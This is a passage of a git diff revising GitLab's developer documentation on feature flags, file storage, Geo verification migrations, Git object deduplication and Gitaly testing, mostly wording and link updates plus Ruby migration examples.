supports rolling out changes to a percentage of time to users. This in turn can be controlled using [GitLab Chatops](../../ci/chatops/README.md). @@ -50,7 +50,7 @@ change feature flags or you do not [have access](#access). ### Enabling a feature for preproduction testing -As a first step in a feature rollout, you should enable the feature on <https://staging.gitlab.com> +As a first step in a feature rollout, you should enable the feature on <https://about.staging.gitlab.com> and <https://dev.gitlab.org>. These two environments have different scopes. @@ -228,21 +228,29 @@ existing gates (e.g. `--group=gitlab-org`) in the above processes. ### Feature flag change logging -Any feature flag change that affects GitLab.com (production) will -automatically be logged in an issue. +#### Chatops level + +Any feature flag change that affects GitLab.com (production) via [Chatops](https://gitlab.com/gitlab-com/chatops) +is automatically logged in an issue. The issue is created in the [gl-infra/feature-flag-log](https://gitlab.com/gitlab-com/gl-infra/feature-flag-log/-/issues?scope=all&utf8=%E2%9C%93&state=closed) project, and it will at minimum log the Slack handle of person enabling a feature flag, the time, and the name of the flag being changed. -The issue is then also posted to GitLab's internal +The issue is then also posted to the GitLab internal [Grafana dashboard](https://dashboards.gitlab.net/) as an annotation marker to make the change even more visible. Changes to the issue format can be submitted in the [Chatops project](https://gitlab.com/gitlab-com/chatops). +#### Instance level + +Any feature flag change that affects any GitLab instance is automatically logged in +[features_json.log](../../administration/logs.md#features_jsonlog). +You can search the change history in [Kibana](https://about.gitlab.com/handbook/support/workflows/kibana.html). + ## Cleaning up A feature flag should be removed as soon as it is no longer needed. Each additional @@ -266,7 +274,7 @@ To remove a feature flag: ### Cleanup ChatOps -When a feature gate has been removed from the code base, the feature +When a feature gate has been removed from the codebase, the feature record still exists in the database that the flag was deployed too. The record can be deleted once the MR is deployed to each environment: diff --git a/doc/development/feature_flags/development.md b/doc/development/feature_flags/development.md index 2855662e1db..7c5333c9aa6 100644 --- a/doc/development/feature_flags/development.md +++ b/doc/development/feature_flags/development.md @@ -17,12 +17,18 @@ request removing the feature flag or the merge request where the default value o the feature flag is set to enabled. If the feature contains any database migrations, it *should* include a changelog entry for the database changes. -CAUTION: **Caution:** +WARNING: All newly-introduced feature flags should be [disabled by default](process.md#feature-flags-in-gitlab-development). -NOTE: **Note:** +NOTE: This document is the subject of continued work as part of an epic to [improve internal usage of Feature Flags](https://gitlab.com/groups/gitlab-org/-/epics/3551). Raise any suggestions as new issues and attach them to the epic. +## Risk of a broken master (main) branch + +Feature flags **must** be used in the MR that introduces them. Not doing so causes a +[broken master](https://about.gitlab.com/handbook/engineering/workflow/#broken-master) scenario due +to the `rspec:feature-flags` job that only runs on the `master` branch. + ## Types of feature flags Choose a feature flag type that matches the expected usage. @@ -40,11 +46,11 @@ This is the default type used when calling `Feature.enabled?`. ### `ops` type `ops` feature flags are long-lived feature flags that control operational aspects -of GitLab's behavior. For example, feature flags that disable features that might +of GitLab product behavior. For example, feature flags that disable features that might have a performance impact, like special Sidekiq worker behavior. `ops` feature flags likely do not have rollout issues, as it is hard to -predict when they will be enabled or disabled. +predict when they are enabled or disabled. To use `ops` feature flags, you must append `type: :ops` to `Feature.enabled?` invocations: @@ -88,9 +94,9 @@ Each feature flag is defined in a separate YAML file consisting of a number of f | `default_enabled` | yes | The default state of the feature flag that is strictly validated, with `default_enabled:` passed as an argument. | | `introduced_by_url` | no | The URL to the Merge Request that introduced the feature flag. | | `rollout_issue_url` | no | The URL to the Issue covering the feature flag rollout. | -| `group` | no | The [group](https://about.gitlab.com/handbook/product/product-categories/#devops-stages) that owns the feature flag. | +| `group` | no | The [group](https://about.gitlab.com/handbook/product/categories/#devops-stages) that owns the feature flag. | -TIP: **Tip:** +NOTE: All validations are skipped when running in `RAILS_ENV=production`. ## Create a new feature flag @@ -125,7 +131,7 @@ type: development default_enabled: false ``` -TIP: **Tip:** +NOTE: To create a feature flag that is only used in EE, add the `--ee` flag: `bin/feature-flag --ee` ## Delete a feature flag @@ -172,6 +178,29 @@ if Feature.disabled?(:my_feature_flag, project, default_enabled: true) end ``` +If not specified, `default_enabled` is `false`. + +To force reading the `default_enabled` value from the relative YAML definition file, use +`default_enabled: :yaml`: + +```ruby +if Feature.enabled?(:feature_flag, project, default_enabled: :yaml) + # execute code if feature flag is enabled +end +``` + +```ruby +if Feature.disabled?(:feature_flag, project, default_enabled: :yaml) + # execute code if feature flag is disabled +end +``` + +This allows to use the same feature flag check across various parts of the codebase and +maintain the status of `default_enabled` in the YAML definition file which is the SSOT. + +If `default_enabled: :yaml` is used, a YAML definition is expected or an error is raised +in development or test environment, while returning `false` on production. + If not specified, the default feature flag type for `Feature.enabled?` and `Feature.disabled?` is `type: development`. For all other feature flag types, you must specify the `type:`: @@ -187,7 +216,7 @@ if Feature.disabled?(:my_feature_flag, project, type: :ops) end ``` -DANGER: **Warning:** +WARNING: Don't use feature flags at application load time. For example, using the `Feature` class in `config/initializers/*` or at the class level could cause an unexpected error. This error occurs because a database that a feature flag adapter might depend on doesn't exist at load time @@ -497,10 +526,6 @@ is persisted. Make sure behavior under feature flag doesn't go untested in some non-specific contexts. -See the -[testing guide](../testing_guide/best_practices.md#feature-flags-in-tests) -for information and examples on how to stub feature flags in tests. - ### `stub_feature_flags: false` This disables a memory-stubbed flipper, and uses `Flipper::Adapters::ActiveRecord` diff --git a/doc/development/feature_flags/index.md b/doc/development/feature_flags/index.md index a867bcf792a..270e07ed755 100644 --- a/doc/development/feature_flags/index.md +++ b/doc/development/feature_flags/index.md @@ -6,18 +6,43 @@ info: "See the Technical Writers assigned to Development Guidelines: https://abo # Feature flags in development of GitLab +## When to use feature flags + +Starting with GitLab 11.4, developers are required to use feature flags for +non-trivial changes. Such changes include: + +- New features (e.g. a new merge request widget, epics, etc). +- Complex performance improvements that may require additional testing in + production, such as rewriting complex queries. +- Invasive changes to the user interface, such as a new navigation bar or the + removal of a sidebar. +- Adding support for importing projects from a third-party service. +- Risk of data loss + +In all cases, those working on the changes can best decide if a feature flag is +necessary. For example, changing the color of a button doesn't need a feature +flag, while changing the navigation bar definitely needs one. In case you are +uncertain if a feature flag is necessary, simply ask about this in the merge +request, and those reviewing the changes will likely provide you with an answer. + +When using a feature flag for UI elements, make sure to _also_ use a feature +flag for the underlying backend code, if there is any. This ensures there is +absolutely no way to use the feature until it is enabled. + +## How to use Feature Flags + Feature flags can be used to gradually deploy changes, regardless of whether they are new features or performance improvements. By using feature flags, you can determine the impact of GitLab-directed changes, while still being able to disable those changes without having to revert an entire release. -Before using feature flags for GitLab's development, review the following development guides: +Before using feature flags for GitLab development, review the following development guides: -NOTE: **Note:** +NOTE: The feature flags used by GitLab to deploy its own features **are not** the same as the [feature flags offered as part of the product](../../operations/feature_flags.md). -For an overview about starting with feature flags in GitLab's development, +For an overview about starting with feature flags in GitLab development, use this [training template](https://gitlab.com/gitlab-com/www-gitlab-com/-/blob/master/.gitlab/issue_templates/feature-flag-training.md). Development guides: diff --git a/doc/development/feature_flags/process.md b/doc/development/feature_flags/process.md index b282424f59a..2e3680bb103 100644 --- a/doc/development/feature_flags/process.md +++ b/doc/development/feature_flags/process.md @@ -32,7 +32,8 @@ should be leveraged: requests, you can use the following workflow: 1. [Create a new feature flag](development.md#create-a-new-feature-flag) - which is **off** by default, in the first merge request. + which is **off** by default, in the first merge request which uses the flag. + Flags [should not be added separately](development.md#risk-of-a-broken-master-main-branch). 1. Submit incremental changes via one or more merge requests, ensuring that any new code added can only be reached if the feature flag is **on**. You can keep the feature flag enabled on your local GDK during development. @@ -52,28 +53,6 @@ problems, such as outages. Please also read the [development guide for feature flags](development.md). -### When to use feature flags - -Starting with GitLab 11.4, developers are required to use feature flags for -non-trivial changes. Such changes include: - -- New features (e.g. a new merge request widget, epics, etc). -- Complex performance improvements that may require additional testing in - production, such as rewriting complex queries. -- Invasive changes to the user interface, such as a new navigation bar or the - removal of a sidebar. -- Adding support for importing projects from a third-party service. - -In all cases, those working on the changes can best decide if a feature flag is -necessary. For example, changing the color of a button doesn't need a feature -flag, while changing the navigation bar definitely needs one. In case you are -uncertain if a feature flag is necessary, simply ask about this in the merge -request, and those reviewing the changes will likely provide you with an answer. - -When using a feature flag for UI elements, make sure to _also_ use a feature -flag for the underlying backend code, if there is any. This ensures there is -absolutely no way to use the feature until it is enabled. - ### Including a feature behind feature flag in the final release In order to build a final release and present the feature for self-managed @@ -91,7 +70,7 @@ account for unforeseen problems. Feature flags must be [documented according to their state (enabled/disabled)](../documentation/feature_flags.md), and when the state changes, docs **must** be updated accordingly. -NOTE: **Note:** +NOTE: Take into consideration that such action can make the feature available on GitLab.com shortly after the change to the feature flag is merged. diff --git a/doc/development/features_inside_dot_gitlab.md b/doc/development/features_inside_dot_gitlab.md index e8918c76d04..08adb7faeb2 100644 --- a/doc/development/features_inside_dot_gitlab.md +++ b/doc/development/features_inside_dot_gitlab.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Features inside the `.gitlab/` directory diff --git a/doc/development/file_storage.md b/doc/development/file_storage.md index aa91e105513..1f929d64058 100644 --- a/doc/development/file_storage.md +++ b/doc/development/file_storage.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # File Storage in GitLab @@ -48,6 +48,7 @@ they are still not 100% standardized. You can see them below: | CI Artifacts (CE) | yes | `shared/artifacts/:disk_hash[0..1]/:disk_hash[2..3]/:disk_hash/:year_:month_:date/:job_id/:job_artifact_id` (`:disk_hash` is SHA256 digest of `project_id`) | `JobArtifactUploader` | Ci::JobArtifact | | LFS Objects (CE) | yes | `shared/lfs-objects/:hex/:hex/:object_hash` | `LfsObjectUploader` | LfsObject | | External merge request diffs | yes | `shared/external-diffs/merge_request_diffs/mr-:parent_id/diff-:id` | `ExternalDiffUploader` | MergeRequestDiff | +| Issuable metric images | yes | `uploads/-/system/issuable_metric_image/file/:id/:filename` | `IssuableMetricImageUploader` | IssuableMetricImage | CI Artifacts and LFS Objects behave differently in CE and EE. In CE they inherit the `GitlabUploader` while in EE they inherit the `ObjectStorage` and store files in and S3 API compatible object store. @@ -92,7 +93,7 @@ All the `GitlabUploader` derived classes should comply with this path segment sc | | | `ObjectStorage::Concern#upload_path | ``` -The `RecordsUploads::Concern` concern will create an `Upload` entry for every file stored by a `GitlabUploader` persisting the dynamic parts of the path using +The `RecordsUploads::Concern` concern creates an `Upload` entry for every file stored by a `GitlabUploader` persisting the dynamic parts of the path using `GitlabUploader#dynamic_path`. You may then use the `Upload#build_uploader` method to manipulate the file. ## Object Storage @@ -107,9 +108,9 @@ The `CarrierWave::Uploader#store_dir` is overridden to ### Using `ObjectStorage::Extension::RecordsUploads` -This concern will automatically include `RecordsUploads::Concern` if not already included. +This concern includes `RecordsUploads::Concern` if not already included. -The `ObjectStorage::Concern` uploader will search for the matching `Upload` to select the correct object store. The `Upload` is mapped using `#store_dirs + identifier` for each store (LOCAL/REMOTE). +The `ObjectStorage::Concern` uploader searches for the matching `Upload` to select the correct object store. The `Upload` is mapped using `#store_dirs + identifier` for each store (LOCAL/REMOTE). ```ruby class SongUploader < GitlabUploader @@ -129,7 +130,7 @@ end ### Using a mounted uploader -The `ObjectStorage::Concern` will query the `model.<mount>_store` attribute to select the correct object store. +The `ObjectStorage::Concern` queries the `model.<mount>_store` attribute to select the correct object store. This column must be present in the model schema. ```ruby diff --git a/doc/development/filtering_by_label.md b/doc/development/filtering_by_label.md index 9c1993fdf7f..b10e2f6e082 100644 --- a/doc/development/filtering_by_label.md +++ b/doc/development/filtering_by_label.md @@ -1,7 +1,7 @@ --- stage: Plan group: Project Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Filtering by label diff --git a/doc/development/foreign_keys.md b/doc/development/foreign_keys.md index ff8c03ce76b..0f100c6b66e 100644 --- a/doc/development/foreign_keys.md +++ b/doc/development/foreign_keys.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Database -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Foreign Keys & Associations diff --git a/doc/development/frontend.md b/doc/development/frontend.md index 8bb5cf7af62..040004a6917 100644 --- a/doc/development/frontend.md +++ b/doc/development/frontend.md @@ -3,3 +3,6 @@ redirect_to: 'fe_guide/index.md' --- This document was moved to [another location](fe_guide/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/gemfile.md b/doc/development/gemfile.md index 1daa3ad5cba..c4a9ec4c454 100644 --- a/doc/development/gemfile.md +++ b/doc/development/gemfile.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # `Gemfile` guidelines diff --git a/doc/development/geo.md b/doc/development/geo.md index 06b032a8f66..ed1837f9564 100644 --- a/doc/development/geo.md +++ b/doc/development/geo.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Geo -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Geo (development) **(PREMIUM ONLY)** @@ -102,7 +102,7 @@ projects that need updating. Those projects can be: When we fail to fetch a repository on the secondary `RETRIES_BEFORE_REDOWNLOAD` times, Geo does a so-called _re-download_. It will do a clean clone into the `@geo-temporary` directory in the root of the storage. When -it's successful, we replace the main repo with the newly cloned one. +it's successful, we replace the main repository with the newly cloned one. ### Uploads replication @@ -161,7 +161,7 @@ If the requested file matches the requested SHA256 sum, then the Geo feature, which allows NGINX to handle the file transfer without tying up Rails or Workhorse. -NOTE: **Note:** +NOTE: JWT requires synchronized clocks between the machines involved, otherwise it may fail with an encryption error. diff --git a/doc/development/geo/framework.md b/doc/development/geo/framework.md index e440e324c4a..e4518ce1b57 100644 --- a/doc/development/geo/framework.md +++ b/doc/development/geo/framework.md @@ -1,12 +1,12 @@ --- stage: Enablement group: Geo -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Geo self-service framework -NOTE: **Note:** +NOTE: This document is subject to change as we continue to implement and iterate on the framework. Follow the progress in the [epic](https://gitlab.com/groups/gitlab-org/-/epics/2161). If you need to replicate a new data type, reach out to the Geo @@ -393,6 +393,8 @@ can track verification state. def change change_table(:widgets) do |t| + t.integer :verification_state, default: 0, limit: 2, null: false + t.column :verification_started_at, :datetime_with_timezone t.integer :verification_retry_count, limit: 2 t.column :verification_retry_at, :datetime_with_timezone t.column :verified_at, :datetime_with_timezone @@ -431,36 +433,53 @@ can track verification state. end ``` -1. Add a partial index on `verification_failure` and `verification_checksum` to ensure - re-verification can be performed efficiently: +1. Add indexes on verification fields to ensure verification can be performed efficiently: + + Some or all of these indexes can be omitted if the table is guaranteed to be small. Ask a database expert if you are unsure. ```ruby # frozen_string_literal: true - class AddVerificationFailureIndexToWidgets < ActiveRecord::Migration[6.0] + class AddVerificationIndexesToWidgets < ActiveRecord::Migration[6.0] include Gitlab::Database::MigrationHelpers DOWNTIME = false + VERIFICATION_STATE_INDEX_NAME = "index_widgets_verification_state" + PENDING_VERIFICATION_INDEX_NAME = "index_widgets_pending_verification" + FAILED_VERIFICATION_INDEX_NAME = "index_widgets_failed_verification" + NEEDS_VERIFICATION_INDEX_NAME = "index_widgets_needs_verification" disable_ddl_transaction! def up - add_concurrent_index :widgets, :verification_failure, where: "(verification_failure IS NOT NULL)", name: "widgets_verification_failure_partial" - add_concurrent_index :widgets, :verification_checksum, where: "(verification_checksum IS NOT NULL)", name: "widgets_verification_checksum_partial" + add_concurrent_index :widgets, :verification_state, name: VERIFICATION_STATE_INDEX_NAME + add_concurrent_index :widgets, :verified_at, where: "(verification_state = 0)", order: { verified_at: 'ASC NULLS FIRST' }, name: PENDING_VERIFICATION_INDEX_NAME + add_concurrent_index :widgets, :verification_retry_at, where: "(verification_state = 3)", order: { verification_retry_at: 'ASC NULLS FIRST' }, name: FAILED_VERIFICATION_INDEX_NAME + add_concurrent_index :widgets, :verification_state, where: "(verification_state = 0 OR verification_state = 3)", name: NEEDS_VERIFICATION_INDEX_NAME end def down - remove_concurrent_index :widgets, :verification_failure - remove_concurrent_index :widgets, :verification_checksum + remove_concurrent_index_by_name :widgets, VERIFICATION_STATE_INDEX_NAME + remove_concurrent_index_by_name :widgets, PENDING_VERIFICATION_INDEX_NAME + remove_concurrent_index_by_name :widgets, FAILED_VERIFICATION_INDEX_NAME + remove_concurrent_index_by_name :widgets, NEEDS_VERIFICATION_INDEX_NAME end end ``` +1. Add the `Gitlab::Geo::VerificationState` concern to the `widget` model if it is not already included in `Gitlab::Geo::ReplicableModel`: + + ```ruby + class Widget < ApplicationRecord + ... + include ::Gitlab::Geo::VerificationState + ... + end + ``` + ##### Option 2: Create a separate `widget_states` table with verification state fields -1. Create a `widget_states` table and add a partial index on `verification_failure` and - `verification_checksum` to ensure re-verification can be performed efficiently. Order - the columns according to [the guidelines](../ordering_table_columns.md): +1. Create a `widget_states` table and add an index on `verification_state` to ensure verification can be performed efficiently. Order the columns according to [the guidelines](../ordering_table_columns.md): ```ruby # frozen_string_literal: true @@ -477,14 +496,15 @@ can track verification state. with_lock_retries do create_table :widget_states, id: false do |t| t.references :widget, primary_key: true, null: false, foreign_key: { on_delete: :cascade } + t.integer :verification_state, default: 0, limit: 2, null: false + t.column :verification_started_at, :datetime_with_timezone t.datetime_with_timezone :verification_retry_at t.datetime_with_timezone :verified_at t.integer :verification_retry_count, limit: 2 t.binary :verification_checksum, using: 'verification_checksum::bytea' t.text :verification_failure - t.index :verification_failure, where: "(verification_failure IS NOT NULL)", name: "widgets_verification_failure_partial" - t.index :verification_checksum, where: "(verification_checksum IS NOT NULL)", name: "widgets_verification_checksum_partial" + t.index :verification_state, name: "index_widget_states_on_verification_state" end end end @@ -498,6 +518,20 @@ can track verification state. end ``` +1. Add the following lines to the `widget_state.rb` model: + + ```ruby + class WidgetState < ApplicationRecord + ... + self.primary_key = :widget_id + + include ::Gitlab::Geo::VerificationState + + belongs_to :widget, inverse_of: :widget_state + ... + end + ``` + 1. Add the following lines to the `widget` model: ```ruby @@ -547,14 +581,16 @@ Metrics are gathered by `Geo::MetricsUpdateWorker`, persisted in 1. Add the following to `spec/factories/widgets.rb`: ```ruby - trait(:checksummed) do + trait(:verification_succeeded) do with_file verification_checksum { 'abc' } + verification_state { Widget.verification_state_value(:verification_succeeded) } end - trait(:checksum_failure) do + trait(:verification_failed) do with_file verification_failure { 'Could not calculate the checksum' } + verification_state { Widget.verification_state_value(:verification_failed) } end ``` diff --git a/doc/development/git_object_deduplication.md b/doc/development/git_object_deduplication.md index 4f1afed24ba..00993cc2932 100644 --- a/doc/development/git_object_deduplication.md +++ b/doc/development/git_object_deduplication.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # How Git object deduplication works in GitLab @@ -11,7 +11,7 @@ GitLab creates a new Project with an associated Git repository that is a copy of the original project at the time of the fork. If a large project gets forked often, this can lead to a quick increase in Git repository storage disk use. To counteract this problem, we are adding Git object -deduplication for forks to GitLab. In this document, we will describe how +deduplication for forks to GitLab. In this document, we describe how GitLab implements Git object deduplication. ## Pool repositories @@ -27,13 +27,13 @@ If we want repository A to borrow from repository B, we first write a path that resolves to `B.git/objects` in the special file `A.git/objects/info/alternates`. This establishes the alternates link. Next, we must perform a Git repack in A. After the repack, any objects -that are duplicated between A and B will get deleted from A. Repository +that are duplicated between A and B are deleted from A. Repository A is now no longer self-contained, but it still has its own refs and -configuration. Objects in A that are not in B will remain in A. For this +configuration. Objects in A that are not in B remain in A. For this to work, it is of course critical that **no objects ever get deleted from B** because A might need them. -DANGER: **Warning:** +WARNING: Do not run `git prune` or `git gc` in pool repositories! This can cause data loss in "real" repositories that depend on the pool in question. @@ -49,7 +49,7 @@ repositories** which are hidden from the user. We then use Git alternates to let a collection of project repositories borrow from a single pool repository. We call such a collection of project repositories a pool. Pools form star-shaped networks of repositories -that borrow from a single pool, which will resemble (but not be +that borrow from a single pool, which resemble (but not be identical to) the fork networks that get formed when users fork projects. @@ -72,9 +72,9 @@ across a collection of GitLab project repositories at the Git level: The effectiveness of Git object deduplication in GitLab depends on the amount of overlap between the pool repository and each of its participants. Each time garbage collection runs on the source project, -Git objects from the source project will get migrated to the pool +Git objects from the source project are migrated to the pool repository. One by one, as garbage collection runs, other member -projects will benefit from the new objects that got added to the pool. +projects benefit from the new objects that got added to the pool. ## SQL model @@ -123,19 +123,19 @@ are as follows: the fork parent and the fork child project become members of the new pool. - Once project A has become the source project of a pool, all future - eligible forks of A will become pool members. + eligible forks of A become pool members. - If the fork source is itself a fork, the resulting repository will - neither join the repository nor will a new pool repository be + neither join the repository nor is a new pool repository seeded. - eg: + Such as: Suppose fork A is part of a pool repository, any forks created off - of fork A *will not* be a part of the pool repository that fork A is + of fork A *are not* a part of the pool repository that fork A is a part of. Suppose B is a fork of A, and A does not belong to an object pool. - Now C gets created as a fork of B. C will not be part of a pool + Now C gets created as a fork of B. C is not part of a pool repository. > TODO should forks of forks be deduplicated? @@ -146,11 +146,11 @@ are as follows: - If a normal Project participating in a pool gets moved to another Gitaly storage shard, its "belongs to PoolRepository" relation will be broken. Because of the way moving repositories between shard is - implemented, we will automatically get a fresh self-contained copy + implemented, we get a fresh self-contained copy of the project's repository on the new storage shard. - If the source project of a pool gets moved to another Gitaly storage shard or is deleted the "source project" relation is not broken. - However, as of GitLab 12.0 a pool will not fetch from a source + However, as of GitLab 12.0 a pool does not fetch from a source unless the source is on the same Gitaly shard. ## Consistency between the SQL pool relation and Gitaly @@ -163,37 +163,37 @@ repository and a pool. ### Pool existence If GitLab thinks a pool repository exists (i.e. it exists according to -SQL), but it does not on the Gitaly server, then it will be created on +SQL), but it does not on the Gitaly server, then it is created on the fly by Gitaly. ### Pool relation existence There are three different things that can go wrong here. -#### 1. SQL says repo A belongs to pool P but Gitaly says A has no alternate objects +#### 1. SQL says repository A belongs to pool P but Gitaly says A has no alternate objects In this case, we miss out on disk space savings but all RPC's on A -itself will function fine. The next time garbage collection runs on A, +itself function fine. The next time garbage collection runs on A, the alternates connection gets established in Gitaly. This is done by `Projects::GitDeduplicationService` in GitLab Rails. -#### 2. SQL says repo A belongs to pool P1 but Gitaly says A has alternate objects in pool P2 +#### 2. SQL says repository A belongs to pool P1 but Gitaly says A has alternate objects in pool P2 -In this case `Projects::GitDeduplicationService` will throw an exception. +In this case `Projects::GitDeduplicationService` throws an exception. -#### 3. SQL says repo A does not belong to any pool but Gitaly says A belongs to P +#### 3. SQL says repository A does not belong to any pool but Gitaly says A belongs to P -In this case `Projects::GitDeduplicationService` will try to +In this case `Projects::GitDeduplicationService` tries to "re-duplicate" the repository A using the DisconnectGitAlternates RPC. ## Git object deduplication and GitLab Geo When a pool repository record is created in SQL on a Geo primary, this -will eventually trigger an event on the Geo secondary. The Geo secondary -will then create the pool repository in Gitaly. This leads to an +eventually triggers an event on the Geo secondary. The Geo secondary +then creates the pool repository in Gitaly. This leads to an "eventually consistent" situation because as each pool participant gets -synchronized, Geo will eventually trigger garbage collection in Gitaly on -the secondary, at which stage Git objects will get deduplicated. +synchronized, Geo eventually triggers garbage collection in Gitaly on +the secondary, at which stage Git objects are deduplicated. > TODO How do we handle the edge case where at the time the Geo > secondary tries to create the pool repository, the source project does diff --git a/doc/development/gitaly.md b/doc/development/gitaly.md index 8b4e5090abb..57a4e24679c 100644 --- a/doc/development/gitaly.md +++ b/doc/development/gitaly.md @@ -1,7 +1,7 @@ --- stage: Create group: Gitaly -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -13,9 +13,9 @@ Workhorse and GitLab Shell. ## Deep Dive In May 2019, Bob Van Landuyt hosted a Deep Dive (GitLab team members only: `https://gitlab.com/gitlab-org/create-stage/issues/1`) -on GitLab's [Gitaly project](https://gitlab.com/gitlab-org/gitaly) and how to contribute to it as a +on the [Gitaly project](https://gitlab.com/gitlab-org/gitaly) and how to contribute to it as a Ruby developer, to share his domain specific knowledge with anyone who may work in this part of the -code base in the future. +codebase in the future. You can find the [recording on YouTube](https://www.youtube.com/watch?v=BmlEWFS8ORo), and the slides on [Google Slides](https://docs.google.com/presentation/d/1VgRbiYih9ODhcPnL8dS0W98EwFYpJ7GXMPpX-1TM6YE/edit) @@ -84,7 +84,7 @@ If your test-suite is failing with Gitaly issues, as a first step, try running: rm -rf tmp/tests/gitaly ``` -During RSpec tests, the Gitaly instance will write logs to `gitlab/log/gitaly-test.log`. +During RSpec tests, the Gitaly instance writes logs to `gitlab/log/gitaly-test.log`. ## Legacy Rugged code @@ -121,26 +121,26 @@ bundle exec rake gitlab:features:disable_rugged Most of this code exists in the `lib/gitlab/git/rugged_impl` directory. -NOTE: **Note:** +NOTE: You should NOT need to add or modify code related to Rugged unless explicitly discussed with the [Gitaly -Team](https://gitlab.com/groups/gl-gitaly/group_members). This code will +Team](https://gitlab.com/groups/gl-gitaly/group_members). This code does NOT work on GitLab.com or other GitLab instances that do not use NFS. ## `TooManyInvocationsError` errors During development and testing, you may experience `Gitlab::GitalyClient::TooManyInvocationsError` failures. -The `GitalyClient` will attempt to block against potential n+1 issues by raising this error +The `GitalyClient` attempts to block against potential n+1 issues by raising this error when Gitaly is called more than 30 times in a single Rails request or Sidekiq execution. -As a temporary measure, export `GITALY_DISABLE_REQUEST_LIMITS=1` to suppress the error. This will disable the n+1 detection +As a temporary measure, export `GITALY_DISABLE_REQUEST_LIMITS=1` to suppress the error. This disables the n+1 detection in your development environment. Please raise an issue in the GitLab CE or EE repositories to report the issue. Include the labels ~Gitaly ~performance ~"technical debt". Please ensure that the issue contains the full stack trace and error message of the `TooManyInvocationsError`. Also include any known failing tests if possible. -Isolate the source of the n+1 problem. This will normally be a loop that results in Gitaly being called for each +Isolate the source of the n+1 problem. This is normally a loop that results in Gitaly being called for each element in an array. If you are unable to isolate the problem, please contact a member of the [Gitaly Team](https://gitlab.com/groups/gl-gitaly/group_members) for assistance. @@ -154,7 +154,7 @@ Gitlab::GitalyClient.allow_n_plus_1_calls do end ``` -Once the code is wrapped in this block, this code-path will be excluded from n+1 detection. +Once the code is wrapped in this block, this code path is excluded from n+1 detection. ## Request counts @@ -181,15 +181,19 @@ Normally, GitLab CE/EE tests use a local clone of Gitaly in `GITALY_SERVER_VERSION`. The `GITALY_SERVER_VERSION` file supports also branches and SHA to use a custom commit in <https://gitlab.com/gitlab-org/gitaly>. -NOTE: **Note:** +NOTE: With the introduction of auto-deploy for Gitaly, the format of `GITALY_SERVER_VERSION` was aligned with Omnibus syntax. -It no longer supports `=revision`, it will evaluate the file content as a Git -reference (branch or SHA), only if it matches a semver it will prepend a `v`. +It no longer supports `=revision`, it evaluates the file content as a Git +reference (branch or SHA). Only if it matches a semver does it prepend a `v`. If you want to run tests locally against a modified version of Gitaly you can replace `tmp/tests/gitaly` with a symlink. This is much faster -because if will avoid a Gitaly re-install each time you run `rspec`. +because it avoids a Gitaly re-install each time you run `rspec`. + +Make sure this directory contains the files `config.toml` and `praefect.config.toml`. +You can copy them from `config.toml.example` and `config.praefect.toml.example` respectively. +After copying, make sure to edit them so everything points to the correct paths. ```shell rm -rf tmp/tests/gitaly @@ -197,12 +201,12 @@ ln -s /path/to/gitaly tmp/tests/gitaly ``` Make sure you run `make` in your local Gitaly directory before running -tests. Otherwise, Gitaly will fail to boot. +tests. Otherwise, Gitaly fails to boot. If you make changes to your local Gitaly in between test runs you need to manually run `make` again. -Note that CI tests will not use your locally modified version of +Note that CI tests do not use your locally modified version of Gitaly. To use a custom Gitaly version in CI you need to update GITALY_SERVER_VERSION as described at the beginning of this paragraph. @@ -312,7 +316,7 @@ Here are the steps to gate a new feature in Gitaly behind a feature flag. 1. Test in a Rails console by setting the feature flag: - NOTE: **Note:** + NOTE: Pay attention to the name of the flag and the one used in the Rails console. There is a difference between them (dashes replaced by underscores and name prefix is changed). Make sure to prefix all flags with `gitaly_`. @@ -341,7 +345,7 @@ the integration by using GDK: 1. Check that the list of current metrics has the new counter for the feature flag: ```shell - curl --silent http://localhost:9236/metrics | grep go_find_all_tags + curl --silent 